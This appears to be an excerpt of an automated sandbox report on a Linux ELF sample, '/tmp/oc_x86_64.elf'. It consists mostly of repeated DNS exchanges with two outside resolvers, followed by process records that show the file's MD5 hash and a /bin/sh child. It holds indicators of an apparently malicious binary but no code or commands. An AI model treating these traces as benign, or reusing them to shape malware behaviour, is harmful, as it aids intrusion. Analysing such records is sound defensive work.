Aug 17, 2024 11:52:29.900454044 CEST	54547	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:29.907572031 CEST	53	54547	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:31.967540026 CEST	36643	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:32.347481966 CEST	53	36643	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:34.020688057 CEST	54282	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:34.028762102 CEST	53	54282	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:35.062268972 CEST	43087	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:35.075444937 CEST	53	43087	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:37.137439013 CEST	34463	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:37.144994020 CEST	53	34463	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:38.172137022 CEST	45644	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:38.180166960 CEST	53	45644	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:39.206197023 CEST	36669	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:39.213665009 CEST	53	36669	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:41.229403019 CEST	60043	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:41.236790895 CEST	53	60043	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:42.246450901 CEST	53382	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:42.253597021 CEST	53	53382	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:43.292901039 CEST	56621	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:43.300554991 CEST	53	56621	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:45.315041065 CEST	56553	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:45.322560072 CEST	53	56553	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:46.346091032 CEST	56236	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:46.354266882 CEST	53	56236	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:47.373061895 CEST	54911	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:47.380930901 CEST	53	54911	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:49.397092104 CEST	39928	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:49.404674053 CEST	53	39928	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:51.480318069 CEST	32850	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:52:52.128066063 CEST	53	32850	51.77.149.139	192.168.2.14
Aug 17, 2024 11:52:53.498678923 CEST	37072	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:52:53.507749081 CEST	53	37072	51.77.149.139	192.168.2.14
Aug 17, 2024 11:52:55.530647039 CEST	40616	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:52:55.539516926 CEST	53	40616	51.77.149.139	192.168.2.14
Aug 17, 2024 11:52:57.570799112 CEST	45762	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:52:57.580878019 CEST	53	45762	51.77.149.139	192.168.2.14
Aug 17, 2024 11:52:59.599642038 CEST	48532	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:52:59.608726978 CEST	53	48532	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:01.615617990 CEST	59356	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:01.692972898 CEST	53	59356	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:03.646578074 CEST	52157	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:03.655705929 CEST	53	52157	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:05.662595987 CEST	40724	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:05.671715021 CEST	53	40724	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:07.684134007 CEST	46938	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:07.940428972 CEST	53	46938	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:09.694305897 CEST	37686	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:09.703202009 CEST	53	37686	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:11.726177931 CEST	39369	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:11.735328913 CEST	53	39369	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:13.741214037 CEST	48759	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:13.752852917 CEST	53	48759	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:15.768575907 CEST	40761	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:15.778219938 CEST	53	40761	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:17.781992912 CEST	47041	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:17.790949106 CEST	53	47041	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:19.799303055 CEST	38699	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:19.809112072 CEST	53	38699	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:21.815031052 CEST	49863	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:21.823997974 CEST	53	49863	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:23.833179951 CEST	36974	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:23.842529058 CEST	53	36974	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:25.861264944 CEST	56123	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:25.870266914 CEST	53	56123	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:27.858086109 CEST	52246	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:27.867258072 CEST	53	52246	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:29.870425940 CEST	42604	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:29.885292053 CEST	53	42604	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:31.886492014 CEST	39802	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:31.895507097 CEST	53	39802	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:33.904135942 CEST	58630	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:34.128854990 CEST	53	58630	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:35.918258905 CEST	56857	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:36.002522945 CEST	53	56857	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:37.941781044 CEST	38011	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:37.963128090 CEST	53	38011	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:39.943217039 CEST	33855	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:39.954916954 CEST	53	33855	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:41.966592073 CEST	44721	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:41.986948967 CEST	53	44721	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:43.982393980 CEST	57350	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:45.829710007 CEST	53	57350	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:45.998899937 CEST	47444	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:46.007656097 CEST	53	47444	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:48.005898952 CEST	39315	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:48.716995001 CEST	53	39315	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:50.020792961 CEST	56028	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:50.308034897 CEST	53	56028	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:52.035186052 CEST	50243	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:52.251967907 CEST	53	50243	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:54.060201883 CEST	55458	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:54.069067001 CEST	53	55458	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:56.077549934 CEST	51920	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:56.086530924 CEST	53	51920	51.77.149.139	192.168.2.14
Aug 17, 2024 11:53:58.084418058 CEST	58113	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:53:58.093914986 CEST	53	58113	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:00.094700098 CEST	35992	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:00.108823061 CEST	53	35992	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:02.109968901 CEST	42628	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:02.119252920 CEST	53	42628	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:04.125403881 CEST	36365	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:04.134485960 CEST	53	36365	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:06.130817890 CEST	53417	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:06.142632961 CEST	53	53417	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:08.131319046 CEST	37731	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:08.141599894 CEST	53	37731	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:10.134594917 CEST	39504	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:10.143707991 CEST	53	39504	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:12.132298946 CEST	60127	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:12.141567945 CEST	53	60127	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:14.134274006 CEST	49710	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:14.272777081 CEST	53	49710	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:16.136524916 CEST	48679	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:17.158444881 CEST	53	48679	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:18.146049023 CEST	58915	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:18.578526974 CEST	53	58915	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:20.135889053 CEST	35085	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:20.144992113 CEST	53	35085	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:22.138151884 CEST	40924	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:22.148324013 CEST	53	40924	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:24.139571905 CEST	43669	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:24.150326014 CEST	53	43669	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:26.139398098 CEST	52244	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:26.150290012 CEST	53	52244	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:28.138289928 CEST	54223	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:28.148056030 CEST	53	54223	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:30.140397072 CEST	60453	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:30.150461912 CEST	53	60453	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:32.138693094 CEST	60365	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:32.147615910 CEST	53	60365	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:34.139091015 CEST	44044	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:34.147989988 CEST	53	44044	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:36.139849901 CEST	51628	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:36.149003029 CEST	53	51628	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:38.140265942 CEST	38121	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:38.149252892 CEST	53	38121	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:40.142502069 CEST	40447	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:40.151761055 CEST	53	40447	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:42.141347885 CEST	38288	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:42.150309086 CEST	53	38288	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:44.142518997 CEST	37502	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:44.151441097 CEST	53	37502	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:46.151535988 CEST	50274	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:46.160670042 CEST	53	50274	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:48.146754980 CEST	44119	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:48.171978951 CEST	53	44119	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:51.149156094 CEST	48988	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:51.245374918 CEST	53	48988	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:52.147548914 CEST	52038	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:52.156687975 CEST	53	52038	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:55.153124094 CEST	49903	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:55.162291050 CEST	53	49903	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:57.149909019 CEST	35429	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:57.159343004 CEST	53	35429	51.77.149.139	192.168.2.14
Aug 17, 2024 11:54:59.151997089 CEST	32888	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:54:59.166762114 CEST	53	32888	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:01.167396069 CEST	50599	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:01.237519026 CEST	53	50599	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:03.167134047 CEST	44094	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:04.918781042 CEST	53	44094	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:05.166925907 CEST	40600	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:05.187517881 CEST	53	40600	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:07.169404984 CEST	42539	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:07.179120064 CEST	53	42539	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:09.168495893 CEST	54692	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:09.226778984 CEST	53	54692	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:11.170762062 CEST	57907	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:11.179780960 CEST	53	57907	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:13.170003891 CEST	35520	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:13.178916931 CEST	53	35520	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:15.171004057 CEST	46673	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:15.210947037 CEST	53	46673	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:17.170038939 CEST	40493	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:17.180247068 CEST	53	40493	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:19.171098948 CEST	33043	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:19.227782011 CEST	53	33043	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:21.172343016 CEST	49578	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:21.181371927 CEST	53	49578	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:23.172579050 CEST	54605	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:23.181684971 CEST	53	54605	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:25.173810005 CEST	36412	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:25.182667017 CEST	53	36412	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:27.173441887 CEST	39881	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:27.182404041 CEST	53	39881	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:29.173891068 CEST	39180	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:29.189062119 CEST	53	39180	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:31.174462080 CEST	33339	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:31.651505947 CEST	53	33339	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:33.173348904 CEST	38938	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:33.182590008 CEST	53	38938	51.77.149.139	192.168.2.14
Aug 17, 2024 11:55:35.175193071 CEST	52012	53	192.168.2.14	51.77.149.139
Aug 17, 2024 11:55:35.185565948 CEST	53	52012	51.77.149.139	192.168.2.14

Start time (UTC):	09:51:36
Start date (UTC):	17/08/2024
Path:	/tmp/oc_x86_64.elf
Arguments:	/tmp/oc_x86_64.elf
File size:	159864 bytes
MD5 hash:	eb3ad86638ce51148233baedf0736975

Start time (UTC):	09:51:41
Start date (UTC):	17/08/2024
Path:	/tmp/oc_x86_64.elf
Arguments:	-
File size:	159864 bytes
MD5 hash:	eb3ad86638ce51148233baedf0736975

Start time (UTC):	09:51:42
Start date (UTC):	17/08/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:51:44
Start date (UTC):	17/08/2024
Path:	/tmp/oc_x86_64.elf
Arguments:	-
File size:	159864 bytes
MD5 hash:	eb3ad86638ce51148233baedf0736975